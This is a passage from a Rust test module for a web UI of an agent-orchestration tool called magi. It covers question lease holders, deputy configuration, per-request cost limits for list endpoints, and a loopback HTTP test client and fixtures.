10878        store.put(&mut q).unwrap();
10879        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10880        assert_eq!(store.count_needs_owner(), 1);
10881        store.beat(&q.id, ask::WaiterKind::Deputy);
10882        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10883        assert_eq!(store.count_needs_owner(), 0);
10884        let mut stale = store.read_lease(&q.id).unwrap();
10885        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10886        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10887        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10888        assert!(view.deputy_exhausted);
10889        assert!(view.waiting_on_agent);
10890        assert_eq!(view.question.choices, ["keep"]);
10891        store.drop_lease(&q.id);
10892        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10893        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10894    }
10895
10896    #[test]
10897    fn holder_reads_the_lease_not_the_record() {
10898        let mut q = Question::new(
10899            "run".to_owned(),
10900            "implement".to_owned(),
10901            "impl-A".to_owned(),
10902            "which?".to_owned(),
10903            String::new(),
10904            Vec::new(),
10905        );
10906        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10907        q.cwd = Some("/tmp".to_owned());
10908        assert_eq!(holder_of(&q, None), Some("nobody"));
10909        let beat = |kind, ago: i64| ask::Lease {
10910            kind,
10911            pid: 1,
10912            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10913                .unwrap(),
10914        };
10915        let fresh = beat(ask::WaiterKind::Asker, 1);
10916        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10917        let daemon = beat(ask::WaiterKind::Daemon, 1);
10918        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10919        let stale = beat(ask::WaiterKind::Asker, 3600);
10920        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10921
10922        // A conductor question says "deputy" only while one is attached and
10923        // alive, and "nobody" - never silence - when nothing ever listened.
10924        let mut c = Question::new(
10925            "task".to_owned(),
10926            crate::conduct::NODE.to_owned(),
10927            "conduct".to_owned(),
10928            "which?".to_owned(),
10929            String::new(),
10930            Vec::new(),
10931        );
10932        assert_eq!(holder_of(&c, None), Some("nobody"));
10933        c.cwd = Some("/tmp".to_owned());
10934        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10935        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10936        let deputy = beat(ask::WaiterKind::Deputy, 1);
10937        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10938        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10939
10940        // A release-watch question: nobody until a deputy is attached.
10941        let mut r = Question::new(
10942            String::new(),
10943            crate::bump::NOTICE_NODE.to_owned(),
10944            "release-watch".to_owned(),
10945            "stuck?".to_owned(),
10946            String::new(),
10947            vec!["hold".to_owned()],
10948        );
10949        assert_eq!(holder_of(&r, None), Some("nobody"));
10950        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10951        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10952        // A choice-less bump notice is nobody's question at all.
10953        r.deputy = None;
10954        r.seat = "bump".to_owned();
10955        assert_eq!(holder_of(&r, None), None);
10956
10957        // A merge approval is the same: nobody until a deputy is attached
10958        // and alive, never a silent "no holder".
10959        let mut m = Question::new(
10960            "run".to_owned(),
10961            crate::land::APPROVAL_NODE.to_owned(),
10962            "land".to_owned(),
10963            "merge?".to_owned(),
10964            String::new(),
10965            Vec::new(),
10966        );
10967        assert_eq!(holder_of(&m, None), Some("nobody"));
10968        assert_eq!(
10969            holder_of(&m, Some(&fresh)),
10970            Some("asker"),
10971            "a live explicit wait is a listener even before a deputy is attached"
10972        );
10973        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10974        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10975        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10976        assert_eq!(holder_of(&m, None), Some("nobody"));
10977    }
10978
10979    fn stub_config() -> Config {
10980        // An explicit roster, so the result never depends on which agent CLIs
10981        // this machine has installed.
10982        Config {
10983            agents: vec![crate::config::AgentSpec {
10984                id: "stub".to_owned(),
10985                kind: AgentKind::Command,
10986                model: None,
10987                command: vec!["true".to_owned()],
10988                extra_args: Vec::new(),
10989                env: Default::default(),
10990                prompt_delivery: None,
10991                max_turn_secs: None,
10992            }],
10993            ..Config::default()
10994        }
10995    }
10996
10997    fn plain_question(seat: &str) -> Question {
10998        Question::new(
10999            String::new(),
11000            "n".to_owned(),
11001            seat.to_owned(),
11002            "s".to_owned(),
11003            String::new(),
11004            Vec::new(),
11005        )
11006    }
11007
11008    #[test]
11009    fn deputies_enabled_follows_the_config() {
11010        let on = stub_config();
11011        assert!(crate::deputy::can_start(Some(&on), ""));
11012        assert!(crate::deputy::can_start(Some(&on), "stub"));
11013        let mut off = on.clone();
11014        off.daemon.max_deputies = 0;
11015        assert!(!crate::deputy::can_start(Some(&off), ""));
11016        let mut empty = on;
11017        empty.agents.clear();
11018        assert!(!crate::deputy::can_start(Some(&empty), ""));
11019        assert!(!crate::deputy::can_start(None, ""));
11020    }
11021
11022    #[test]
11023    fn question_views_load_the_config_once() {
11024        let dir = TempDir::new().unwrap();
11025        let store = ask::Questions::at(dir.path().to_path_buf());
11026        let mut with_deputy = plain_question("b");
11027        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11028        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11029
11030        let calls = std::cell::Cell::new(0usize);
11031        let views = question_views(qs.clone(), &store, || {
11032            calls.set(calls.get() + 1);
11033            Some(stub_config())
11034        });
11035        assert_eq!(calls.get(), 1);
11036        assert_eq!(views.len(), 3);
11037        for (v, q) in views.iter().zip(&qs) {
11038            assert_eq!(
11039                v.deputies_enabled,
11040                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11041            );
11042        }
11043
11044        let views = question_views(qs, &store, || None);
11045        assert!(views.iter().all(|v| !v.deputies_enabled));
11046
11047        let calls = std::cell::Cell::new(0usize);
11048        let views = question_views(Vec::new(), &store, || {
11049            calls.set(calls.get() + 1);
11050            None
11051        });
11052        assert!(views.is_empty());
11053        assert_eq!(calls.get(), 0);
11054    }
11055
11056    use pretty_assertions::assert_eq;
11057    use serde_json::Value;
11058    use tempfile::TempDir;
11059    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11060
11061    use super::*;
11062    use crate::config::Config;
11063    use crate::queue::Source;
11064
11065    /// How many 10ms steps a settle loop takes before it calls a stall a
11066    /// stall - thirty seconds.
11067    ///
11068    /// These loops wait on real `sh` subprocesses, and the machine that runs
11069    /// the gate runs several suites at once, so a two-second budget was not
11070    /// waiting for the reply, it was racing the scheduler: two of these
11071    /// tests failed under that load with the turn simply not landed yet.
11072    /// This is a hang guard, not a latency assertion - every loop breaks the
11073    /// moment its condition holds, so a generous cap costs an idle machine
11074    /// nothing and still fails a genuine hang instead of hanging the suite.
11075    const SETTLE_STEPS: usize = 3_000;
11076
11077    /// A home with a queue and a runs directory, and a router serving it on
11078    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11079    /// dependency, not ours - so the tests drive a real socket, which has the
11080    /// side benefit of asserting the status line and content types the phone
11081    /// actually receives.
11082    struct Fixture {
11083        home: TempDir,
11084        addr: SocketAddr,
11085    }
11086
11087    impl Fixture {
11088        async fn start() -> Self {
11089            Self::with_loop(launch_idle).await
11090        }
11091
11092        /// A fixture whose loop is `launch`.
11093        async fn with_loop(launch: Launch) -> Self {
11094            let home = TempDir::new().expect("temp home");
11095            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11096            Self { home, addr }
11097        }
11098
11099        /// A fixture whose `ui.repo` is a real directory rather than the
11100        /// usual placeholder - for the routes that read config off it
11101        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11102        async fn with_repo(repo: PathBuf) -> Self {
11103            let home = TempDir::new().expect("temp home");
11104            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11105            Self { home, addr }
11106        }
11107
11108        /// As [`Fixture::with_repo`], with the machine-config file the
11109        /// settings screen reads and writes.
11110        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11111            let home = TempDir::new().expect("temp home");
11112            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11113            Self { home, addr }
11114        }
11115
11116        async fn serve(
11117            home: &FsPath,
11118            repo: PathBuf,
11119            launch: Launch,
11120            machine: Option<PathBuf>,
11121        ) -> SocketAddr {
11122            let queue = Queue::at(home.join("queue"));
11123            let runs = home.join("runs");
11124            std::fs::create_dir_all(&runs).expect("runs dir");
11125            let worktrees = home.join("wt").join("magi");
11126            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11127            let ui = Ui::new(
11128                queue,
11129                Questions::at(home.join("questions")),
11130                Talks::at(home.join("talks")),
11131                runs,
11132                home.to_path_buf(),
11133                repo,
11134            )
11135            .with_worktrees_root(worktrees)
11136            .with_machine_config(machine)
11137            .with_launch(launch);
11138            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11139                .await
11140                .expect("bind loopback");
11141            let addr = listener.local_addr().expect("local addr");
11142            tokio::spawn(async move {
11143                let router = ui
11144                    .router()
11145                    .layer(axum::middleware::from_fn(request_cost::observe));
11146                let _ = axum::serve(listener, router).await;
11147            });
11148            addr
11149        }
11150
11151        fn queue(&self) -> Queue {
11152            Queue::at(self.home.path().join("queue"))
11153        }
11154
11155        fn questions(&self) -> Questions {
11156            Questions::at(self.home.path().join("questions"))
11157        }
11158
11159        fn talks(&self) -> Talks {
11160            Talks::at(self.home.path().join("talks"))
11161        }
11162
11163        fn runs(&self) -> PathBuf {
11164            self.home.path().join("runs")
11165        }
11166
11167        async fn get(&self, path: &str) -> Res {
11168            request(self.addr, "GET", path, None).await
11169        }
11170
11171        /// The status and headers without the body, which is how the front end
11172        /// preflights a panel: a sandboxed frame is opaque to the parent
11173        /// document, so the only way to tell "no panel" from "a panel that
11174        /// rendered blank" is to ask before mounting.
11175        async fn head(&self, path: &str) -> Res {
11176            request(self.addr, "HEAD", path, None).await
11177        }
11178
11179        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11180            request(self.addr, "POST", path, body).await
11181        }
11182
11183        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11184            request_with(self.addr, "GET", path, None, extra).await
11185        }
11186
11187        async fn delete(&self, path: &str) -> Res {
11188            request(self.addr, "DELETE", path, None).await
11189        }
11190
11191        async fn put(&self, path: &str, body: &str) -> Res {
11192            request(self.addr, "PUT", path, Some(body)).await
11193        }
11194
11195        /// `POST` a raw body with its own headers - see [`request_bytes`].
11196        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11197            request_bytes(self.addr, path, headers, body).await
11198        }
11199    }
11200
11201    /// Real tracking refs exercise the successful discovery path (including
11202    /// extraction), rather than counting cheap failures on a placeholder repo.
11203    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11204        let tmp = TempDir::new().unwrap();
11205        let mut repos = Vec::new();
11206        for name in ["one", "two"] {
11207            let repo = tmp.path().join(name);
11208            let origin = tmp.path().join(format!("{name}.git"));
11209            std::fs::create_dir_all(&repo).unwrap();
11210            crate::git::git(&repo, &["init", "-b", "main"])
11211                .await
11212                .unwrap();
11213            std::fs::write(
11214                repo.join("magi.toml"),
11215                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11216            )
11217            .unwrap();
11218            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11219            crate::git::git(
11220                &repo,
11221                &[
11222                    "-c",
11223                    "user.name=fixture",
11224                    "-c",
11225                    "user.email=fixture@example.invalid",
11226                    "commit",
11227                    "-m",
11228                    "fixture",
11229                ],
11230            )
11231            .await
11232            .unwrap();
11233            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11234                .await
11235                .unwrap();
11236            crate::git::git(
11237                &repo,
11238                &["remote", "add", "origin", origin.to_str().unwrap()],
11239            )
11240            .await
11241            .unwrap();
11242            crate::git::git(&repo, &["push", "origin", "main"])
11243                .await
11244                .unwrap();
11245            crate::git::git(
11246                &repo,
11247                &[
11248                    "symbolic-ref",
11249                    "refs/remotes/origin/HEAD",
11250                    "refs/remotes/origin/main",
11251                ],
11252            )
11253            .await
11254            .unwrap();
11255            let (cfg, _) = Config::discover(&repo, None).unwrap();
11256            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11257            repos.push(repo);
11258        }
11259        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11260        (tmp, repos)
11261    }
11262
11263    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11264        let (tmp, repos) = performance_repositories().await;
11265        let machine = tmp.path().join("machine.toml");
11266        std::fs::write(&machine, "").unwrap();
11267        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11268        (tmp, repos, fx)
11269    }
11270
11271    fn seed_performance(
11272        fx: &Fixture,
11273        repos: &[PathBuf; 2],
11274        questions: usize,
11275        runs: usize,
11276        items: usize,
11277    ) {
11278        // Saving states directly never starts a run or changes MAGI_HOME.
11279        for i in fx.questions().list().len()..questions {
11280            let mut question = Question::new(
11281                "20261001-000000-0000".into(),
11282                "implement".into(),
11283                "impl-A".into(),
11284                format!("question {i}"),
11285                "context".into(),
11286                vec!["yes".into(), "no".into()],
11287            );
11288            question.id = format!("20261003-000000-{i:04x}");
11289            fx.questions().put(&mut question).unwrap();
11290        }
11291        for i in run_ids(&fx.runs()).len()..runs {
11292            write_run_repo(
11293                &fx.runs(),
11294                &format!("20261001-000000-{i:04x}"),
11295                RunStatus::Ready,
11296                repos[i % 2].to_str().unwrap(),
11297            );
11298        }
11299        for i in fx.talks().list().len()..items {
11300            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11301            let mut talk = fx.talks().get(&id).unwrap();
11302            talk.repo = repos[i % 2].clone();
11303            fx.talks().put(&mut talk).unwrap();
11304            let mut task = crate::queue::Task::new(
11305                format!("task {i}"),
11306                "instruction".into(),
11307                repos[i % 2].clone(),
11308                crate::queue::Source::Agent {
11309                    run: id,
11310                    node: crate::queue::CHAT_NODE.into(),
11311                },
11312            );
11313            task.id = format!("20261004-000000-{i:04x}");
11314            fx.queue().put(&mut task).unwrap();
11315            // Notices has a production retention cap; seed up to that cap.
11316            if i < crate::notices::CAP {
11317                Notices::at(fx.home.path().join("notifications"))
11318                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11319                    .unwrap();
11320            }
11321        }
11322        assert_eq!(fx.questions().list().len(), questions);
11323        assert_eq!(run_ids(&fx.runs()).len(), runs);
11324        assert_eq!(fx.talks().list().len(), items);
11325        assert_eq!(fx.queue().list().len(), items);
11326        assert_eq!(
11327            Notices::at(fx.home.path().join("notifications"))
11328                .list()
11329                .len(),
11330            items.min(crate::notices::CAP)
11331        );
11332    }
11333
11334    fn request_counts(res: &Res) -> (usize, usize) {
11335        assert_eq!(res.status, 200, "{}", res.body);
11336        (
11337            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11338            res.header("x-test-git").unwrap().parse().unwrap(),
11339        )
11340    }
11341
11342    #[tokio::test]
11343    async fn list_request_cost_is_independent_of_record_count() {
11344        let (_tmp, repos, fx) = performance_fixture().await;
11345        let mut previous = None;
11346        for n in [4, 60] {
11347            seed_performance(&fx, &repos, n, n, n);
11348            let mut costs = Vec::new();
11349            for (path, discoveries) in [
11350                ("/api/questions", 1),
11351                ("/api/talks", 0),
11352                ("/api/health", 0),
11353                ("/api/stats", 1),
11354            ] {
11355                // Equal cold extraction caches at both scales; this also
11356                // bounds first-request cost instead of only warmed requests.
11357                for repo in &repos {
11358                    let cache = repo.join(".git/magi/config");
11359                    if cache.exists() {
11360                        std::fs::remove_dir_all(cache).unwrap();
11361                    }
11362                }
11363                let cost = request_counts(&fx.get(path).await);
11364                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11365                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11366                assert!(
11367                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11368                    "{path}: {cost:?}"
11369                );
11370                costs.push(cost);
11371            }
11372            if let Some(previous) = previous {
11373                assert_eq!(costs, previous);
11374            }
11375            previous = Some(costs);
11376        }
11377        // runs reads shared row inputs and probes process liveness; queue
11378        // builds one blocker inventory; notifications reads its own store.
11379        // None discovers configuration or spawns git per item.
11380    }
11381
11382    /// The same handler path without transport, so the deterministic cause
11383    /// can also be checked in environments that prohibit binding sockets.
11384    #[tokio::test]
11385    async fn list_handler_cost_without_transport() {
11386        let (_tmp, repos) = performance_repositories().await;
11387        let fx = Fixture {
11388            home: TempDir::new().unwrap(),
11389            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11390        };
11391        let ui = Arc::new(
11392            Ui::new(
11393                fx.queue(),
11394                fx.questions(),
11395                fx.talks(),
11396                fx.runs(),
11397                fx.home.path().to_path_buf(),
11398                repos[0].clone(),
11399            )
11400            .with_worktrees_root(fx.home.path().join("wt")),
11401        );
11402        let mut previous = None;
11403        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11404            seed_performance(&fx, &repos, n, runs, items);
11405            let mut costs = Vec::new();
11406            for endpoint in ["questions", "talks", "health", "stats"] {
11407                for repo in &repos {
11408                    let cache = repo.join(".git/magi/config");
11409                    if cache.exists() {
11410                        std::fs::remove_dir_all(cache).unwrap();
11411                    }
11412                }
11413                let (_, cost) = request_cost::measure(async {
11414                    match endpoint {
11415                        "questions" => {
11416                            let _ = questions_list(State(ui.clone())).await.unwrap();
11417                        }
11418                        "talks" => {
11419                            let _ = talks_list(
11420                                State(ui.clone()),
11421                                Query(ListQuery {
11422                                    limit: None,
11423                                    ids: None,
11424                                }),
11425                                header::HeaderMap::new(),
11426                            )
11427                            .await
11428                            .unwrap();
11429                        }
11430                        "health" => {
11431                            let _ = health(State(ui.clone())).await.unwrap();
11432                        }
11433                        _ => {
11434                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11435                                .await
11436                                .unwrap();
11437                        }
11438                    }
11439                })
11440                .await;
11441                eprintln!("{endpoint} handler N={n}: {cost:?}");
11442                assert_eq!(
11443                    cost.0,
11444                    if matches!(endpoint, "talks" | "health") {
11445                        0
11446                    } else {
11447                        1
11448                    },
11449                    "{endpoint}"
11450                );
11451                assert!(
11452                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11453                    "{endpoint}: {cost:?}"
11454                );
11455                costs.push(cost);
11456            }
11457            if let Some(previous) = previous {
11458                assert_eq!(costs, previous);
11459            }
11460            previous = Some(costs);
11461        }
11462    }
11463
11464    #[tokio::test]
11465    async fn list_request_cost_scopes_do_not_mix() {
11466        let (_tmp, repos, fx) = performance_fixture().await;
11467        seed_performance(&fx, &repos, 10, 0, 10);
11468        let (questions, talks, notices) = tokio::join!(
11469            fx.get("/api/questions"),
11470            fx.get("/api/talks"),
11471            fx.get("/api/notifications")
11472        );
11473        assert_eq!(request_counts(&questions).0, 1);
11474        // Cached summaries perform no config discovery or git work, even
11475        // alongside the questions request that still discovers config.
11476        assert_eq!(request_counts(&talks), (0, 0));
11477        assert_eq!(request_counts(&notices), (0, 0));
11478    }
11479
11480    #[tokio::test]
11481    async fn list_endpoints_large_home_responses() {
11482        check_large_home_endpoints(false).await;
11483    }
11484
11485    #[tokio::test]
11486    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11487    async fn list_endpoints_large_home_ceiling() {
11488        check_large_home_endpoints(true).await;
11489    }
11490
11491    async fn check_large_home_endpoints(timed: bool) {
11492        let (_tmp, repos, fx) = performance_fixture().await;
11493        seed_performance(&fx, &repos, 200, 300, 400);
11494        let mut failures = Vec::new();
11495        // app.js boot/change loads plus the initial dashboard, settings and
11496        // repo picker. SSE is a persistent stream, not a bounded GET.
11497        for path in [
11498            "/",
11499            "/app.js",
11500            "/app.css",
11501            "/api/questions",
11502            "/api/runs?limit=300",
11503            "/api/queue",
11504            "/api/talks",
11505            "/api/notifications",
11506            "/api/health",
11507            "/api/stats",
11508            "/api/loop",
11509            "/api/settings",
11510            "/api/repos",
11511        ] {
11512            let start = std::time::Instant::now();
11513            let result = if timed {
11514                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11515            } else {
11516                Ok(fx.get(path).await)
11517            };
11518            let elapsed = start.elapsed();
11519            eprintln!("{path}: {elapsed:?}");
11520            match result {
11521                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11522                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11523                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11524            }
11525        }
11526        assert!(failures.is_empty(), "{}", failures.join("\n"));
11527    }
11528
11529    struct Res {
11530        status: u16,
11531        headers: String,
11532        /// The header block with its original casing, for the assertions that
11533        /// compare a header *value* rather than looking for a name. Lowercasing
11534        /// a CSP would hide a directive spelled with a capital letter, and the
11535        /// whole point of that test is that the string is exactly right.
11536        head: String,
11537        body: String,
11538        /// The body before any UTF-8 handling, for the routes that serve
11539        /// something other than text. A panel asset is a PNG as often as not,
11540        /// and `from_utf8_lossy` would silently replace half of it.
11541        bytes: Vec<u8>,
11542    }
11543
11544    impl Res {
11545        fn json(&self) -> Value {
11546            serde_json::from_str(&self.body)
11547                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11548        }
11549
11550        /// One header's value verbatim, or `None` when it was not sent.
11551        fn header(&self, name: &str) -> Option<&str> {
11552            self.head.lines().find_map(|line| {
11553                let (key, value) = line.split_once(':')?;
11554                key.trim()
11555                    .eq_ignore_ascii_case(name)
11556                    .then(|| value.trim_start().trim_end_matches('\r'))
11557            })
11558        }
11559    }
11560
11561    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11562    /// be read to end-of-stream without parsing framing.
11563    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11564        request_with(addr, method, path, body, &[]).await
11565    }
11566
11567    /// As [`request`], with extra request headers - conditional GETs need
11568    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11569    /// worse than one that sets none.
11570    async fn request_with(
11571        addr: SocketAddr,
11572        method: &str,
11573        path: &str,
11574        body: Option<&str>,
11575        extra: &[(&str, &str)],
11576    ) -> Res {
11577        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11578        for (name, value) in extra {
11579            head.push_str(&format!("{name}: {value}\r\n"));
11580        }
11581        if let Some(body) = body {
11582            head.push_str("Content-Type: application/json\r\n");
11583            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11584        }
11585        head.push_str("\r\n");
11586        if let Some(body) = body {
11587            head.push_str(body);
11588        }
11589        let mut socket = tokio::net::TcpStream::connect(addr)
11590            .await
11591            .expect("connect to the test server");
11592        socket
11593            .write_all(head.as_bytes())
11594            .await
11595            .expect("write request");
11596        let mut raw = Vec::new();
11597        socket.read_to_end(&mut raw).await.expect("read response");
11598        // Split on the raw bytes rather than on a lossy string, so a binary
11599        // body survives to be compared byte for byte.
11600        let split = raw
11601            .windows(4)
11602            .position(|w| w == b"\r\n\r\n")
11603            .expect("a header block");
11604        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11605        let bytes = raw[split + 4..].to_vec();
11606        let status = head
11607            .lines()
11608            .next()
11609            .and_then(|line| line.split_whitespace().nth(1))
11610            .and_then(|code| code.parse().ok())
11611            .expect("a status line");
11612        Res {
11613            status,
11614            headers: head.to_lowercase(),
11615            head,
11616            body: String::from_utf8_lossy(&bytes).into_owned(),
11617            bytes,
11618        }
11619    }
11620
11621    /// A `POST` carrying a raw binary body and its own headers, for the
11622    /// attachment upload route - `request_with` only ever sends
11623    /// `Content-Type: application/json`, which is wrong for an image and
11624    /// would corrupt anything not valid UTF-8 by round-tripping it through
11625    /// `&str` first.
11626    async fn request_bytes(
11627        addr: SocketAddr,
11628        path: &str,
11629        headers: &[(&str, &str)],
11630        body: &[u8],
11631    ) -> Res {
11632        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11633        for (name, value) in headers {
11634            head.push_str(&format!("{name}: {value}\r\n"));
11635        }
11636        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11637        let mut socket = tokio::net::TcpStream::connect(addr)
11638            .await
11639            .expect("connect to the test server");
11640        socket
11641            .write_all(head.as_bytes())
11642            .await
11643            .expect("write request head");
11644        socket.write_all(body).await.expect("write request body");
11645        let mut raw = Vec::new();
11646        socket.read_to_end(&mut raw).await.expect("read response");
11647        let split = raw
11648            .windows(4)
11649            .position(|w| w == b"\r\n\r\n")
11650            .expect("a header block");
11651        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11652        let bytes = raw[split + 4..].to_vec();
11653        let status = head
11654            .lines()
11655            .next()
11656            .and_then(|line| line.split_whitespace().nth(1))
11657            .and_then(|code| code.parse().ok())
11658            .expect("a status line");
11659        Res {
11660            status,
11661            headers: head.to_lowercase(),
11662            head,
11663            body: String::from_utf8_lossy(&bytes).into_owned(),
11664            bytes,
11665        }
11666    }
11667
11668    /// A run on disk, without touching the process-global magi home.
11669    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11670        let mut state = RunState::new(
11671            PathBuf::from("/repo/magi"),
11672            "main".to_owned(),
11673            "0123456789abcdef".to_owned(),
11674            "Add a web UI\n\nMobile first.".to_owned(),
11675            Config::default(),
11676        );
11677        state.id = id.to_owned();
11678        state.status = status;
11679        let dir = runs.join(id);
11680        std::fs::create_dir_all(&dir).expect("run dir");
11681        std::fs::write(
11682            dir.join("run.json"),
11683            serde_json::to_string_pretty(&state).expect("serialize run"),
11684        )
11685        .expect("write run.json");
11686    }
11687
11688    /// Same as [`write_run`], but against a named repository rather than the
11689    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11690    /// spread across more than one.
11691    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11692        let mut state = RunState::new(
11693            PathBuf::from(repo),
11694            "main".to_owned(),
11695            "0123456789abcdef".to_owned(),
11696            "task".to_owned(),
11697            Config::default(),
11698        );
11699        state.id = id.to_owned();
11700        state.status = status;
11701        let dir = runs.join(id);
11702        std::fs::create_dir_all(&dir).expect("run dir");
11703        std::fs::write(
11704            dir.join("run.json"),
11705            serde_json::to_string_pretty(&state).expect("serialize run"),
11706        )
11707        .expect("write run.json");
11708    }
11709
11710    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11711        let body = serde_json::json!({
11712            "schema": 1,
11713            "pid": 4242,
11714            "started_at": Timestamp::now().to_string(),
11715            "updated_at": updated_at.to_string(),
11716            "idle": false,
11717            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11718            "completed": 7,
11719            "polls": 143,
11720        });
11721        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11722    }
11723
11724    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11725    ///
11726    /// No test in this file may start the real loop - see [`Ui::launch`] for
11727    /// why - so this stands in for the only thing the routes need a loop to
11728    /// do: keep running until `Stop` is set, then return. A real
11729    /// `serve_until` here would resolve its queue and its status file through
11730    /// the process-global magi home, claim whatever it found in the
11731    /// operator's live backlog, overwrite the status file of the `magi serve`
11732    /// that owns it, and spend real agent quota on a real competition.
11733    fn launch_idle(
11734        _opts: daemon::Opts,
11735        stop: daemon::Stop,
11736    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11737        Box::pin(async move {
11738            while !stop.stopped() {
11739                tokio::time::sleep(Duration::from_millis(2)).await;
11740            }
11741            Ok(())
11742        })
11743    }
11744
11745    /// A loop that fails on the way up, the way one whose home has gone
11746    /// read-only does.
11747    fn launch_broken(
11748        _opts: daemon::Opts,
11749        _stop: daemon::Stop,
11750    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11751        // The stand-in dies instantly, so a restarted one can record its own
11752        // failure before the start's response is read. The second attempt
11753        // therefore fails with a different message, to tell a stale error
11754        // from a fresh one.
11755        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11756        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11757        Box::pin(async move {
11758            Err(anyhow::anyhow!(if first {
11759                "publish the daemon status file: read-only file system"
11760            } else {
11761                "the restarted stand-in failed as well"
11762            }))
11763        })
11764    }
11765
11766    /// The loop view once `want` accepts it.
11767    ///
11768    /// Polled rather than asserted straight after the POST because stopping
11769    /// is deliberately not instant - that is the contract - and rather than
11770    /// slept through because a fixed wait is either flaky or slow.
11771    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11772    /// finite, so a genuine hang fails the test instead of hanging the
11773    /// suite.
11774    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11775        for _ in 0..SETTLE_STEPS {
11776            let view = fx.get("/api/loop").await.json();
11777            if want(&view) {
11778                return view;
11779            }
11780            tokio::time::sleep(Duration::from_millis(10)).await;
11781        }
11782        panic!(
11783            "the loop never settled: {}",
11784            fx.get("/api/loop").await.json()
11785        );
11786    }
11787
11788    /// File an open question directly in the store the server reads.
11789    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
